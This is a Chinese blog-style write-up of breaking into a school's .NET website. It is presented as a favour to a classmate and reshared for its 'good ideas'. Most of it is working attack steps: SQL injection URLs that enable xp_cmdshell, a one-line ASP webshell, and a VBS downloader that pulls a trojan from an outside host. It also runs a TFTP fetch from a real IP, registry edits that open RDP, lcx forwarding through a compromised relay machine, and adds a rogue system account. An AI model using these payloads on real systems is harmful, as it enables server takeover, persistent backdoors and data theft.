前几天接到高中同学的电话说中学学校网站改版了,自己买了独立服务器,服务器放在学校机房的,当然服务器位于内网环境.程序是.NET做的,让我检 测下安全性。先找注射点。经过工具加手工的查找,发现了一个地方存在注射漏洞,运气很好!放到到啊D里面提示是SA权限如图1:

 

对母校.NET网站的渗透(图文实战)_图文实战

猜表只找到几个系统的表,尝试列目录也失败。马上放到NBSI里执行命令,失败。最后放入强悍的穿山甲进行检测,也是无法执行命令。用穿山甲检测下数据库的版本,发现是数据库是MSSQL2005的数据库。

如图2:

  

对母校.NET网站的渗透(图文实战)_.NET_02

 

怪不得不能执行命令,MSSQL2005默认是关闭了XP_CMDSHELL的。现在我们需要开启它。

http://www.XXXX.com.cn/xfjshow.aspx?fj=6';EXEC%20sp_configure%20'show%20advanced%20options',%201;RECONFIGURE;EXEC%20sp_configure%20'xp_cmdshell',%201;RECONFIGURE;--

返回正常,说明开启成功。放入工具一样执行命令无法回显。先前在找注射点的时候提交’爆出了网站的路径。这个路径我们用的上了。我们的思路是执行命 令后把结果输入到网站更目录的一个文件中,然后访问那个文件就可以看到内容了!这个也是渗透的技巧。我们来查看下主机开了哪些服务,提交:

http://www.XXXX.com.cn/xfjshow.aspx?fj=6';EXEC%20master.dbo.xp_cmdshell%20'net start>c:\inetpub\wwwroot\njezwz\x.txt';--返回正常,访问http://www.XXXX.com.cn/x.txt.显示了主机开放的服务如图3:

 

对母校.NET网站的渗透(图文实战)_.NET_03

可以执行命令的嘛!,现在我们先拿下WEB服务器。路径我们也知道,先写个一句话木马进去。

http://www.XXXX.com.cn/xfjshow.aspx?fj=6';EXEC%20master.dbo.xp_cmdshell%20'echo%20^<^%execute%20request("k")%^>^%20>c:\inetpub\wwwroot\njezwz\x.asp';--

返回正常,访问一句话木马地址提示“类型不匹配: 'execute'”。看来是写入正常的。马上拿出一句话木马客户端连接写入大马,提示写入失败。难道写进去的一句话木马问题?

http://www.xxxxxx.com.cn/xfjshow.aspx?fj=6';EXEC%20master.dbo.xp_cmdshell%20'typec:\inetpub\wwwroot\njezwz\updown\x.asp>>c:\inetpub\wwwroot\njezwz\updown\x.txt';--

发现写入的马是正确的。估计是权限的问题,马上更改查看目录权限。

http://www.xxxx.com.cn/xfjshow.aspx?fj=6';EXEC%20master.dbo.xp_cmdshell%20'CACLS c:\inetpub\wwwroot\njezwz\>>c:\inetpub\wwwroot\njezwz\X.TXT';--

发现目录只有读权限,马上更改目录的权限。把写权限加上,我们再次用一句话客户端连接同样无法写入。

郁闷中。。最后加上完全控制权限也不行。这条路走不通还有其他的路。我们看下该服务器能不能访问外网,http://www.XXXX.com.cn/xfjshow.aspx?fj=6';EXEC%20master.dbo.xp_cmdshell%20'ping www.baidu.com>>c:\inetpub\wwwroot\njezwz\x.txt';-- 正常返回,看下X.TXT的内容发现该服务器可以上网。

如图4:

 

对母校.NET网站的渗透(图文实战)_图文实战_04

既然能上网我们就用TFTP下载一个ASP的木马到网站更目录吧。

http://www.XXXX.com.cn/xfjshow.aspx?fj=6';EXEC%20master.dbo.xp_cmdshell%20'tftp -i 219.140.165.41 get muma.asp c:\inetpub\wwwroot\njezwz\xx.asp';--

看下TFTP服务器半天没的反映,看来不行,最后才知道TFTP那个文件被删除了。

那我们写个VBS的脚本到服务器里,用他来下载我们的木马吧!~这个脚本最好用一句话的VBS脚本,c

长了会出错的,导致无法下载。我们先上传一个脚本木马到一个空间中,注意木马格式改成TXT的。

http://www.XXXXX.com.cn/xfjshow.aspx?fj=6';EXEC%20master.dbo.xp_cmdshell%20'echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"http://www.ayzx.sc.cn/msnhack.txt^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"c:\inetpub\wwwroot\njezwz\sql.asp^",2 >d:\z.vbs';--

正常写入,现在我们来执行下载我们的脚本木马。

http://www.XXXX.com.cn/xfjshow.aspx?fj=6';EXEC%20master.dbo.xp_cmdshell%20'cscript d:\z.vbs';--

返回正常,访问木马地址,成功得到WEBSHELL。如图5:

 

对母校.NET网站的渗透(图文实战)_职场_05

现在我们来夺取服务器权限,通过查看数据库连接文件得到SA的密码,利用这个木马的XP_CMSHELL执行命令,先设定一个数据源。然后执行命令 发现,发现没有3389的端口。执行reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"发现fDenyTSConnections    REG_DWORD    0x1 值为1 为关闭3389 现在我们改成0就可以开启3389了。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

再次查看端口开放情况,发现3389已成功开启。马上上传一个LCX。在肉鸡一端使用LCX监听一个端口

肉鸡:d:\lcx.exe -listen 51 4000

渗透的主机:C:\Documents and Settings\All Users\Documents\lcx.exe -slave 219.140.165.41 51 127.0.0.1 3389

一会儿肉鸡那边就有反映了,我们加个系统帐户,马上在肉鸡上本地连接的4000端口。输入刚才加的账户成功登陆进服务器如图6:

 

对母校.NET网站的渗透(图文实战)_休闲_06


PS:虽然是以前的文章,但是文中的思路很好。特此分享。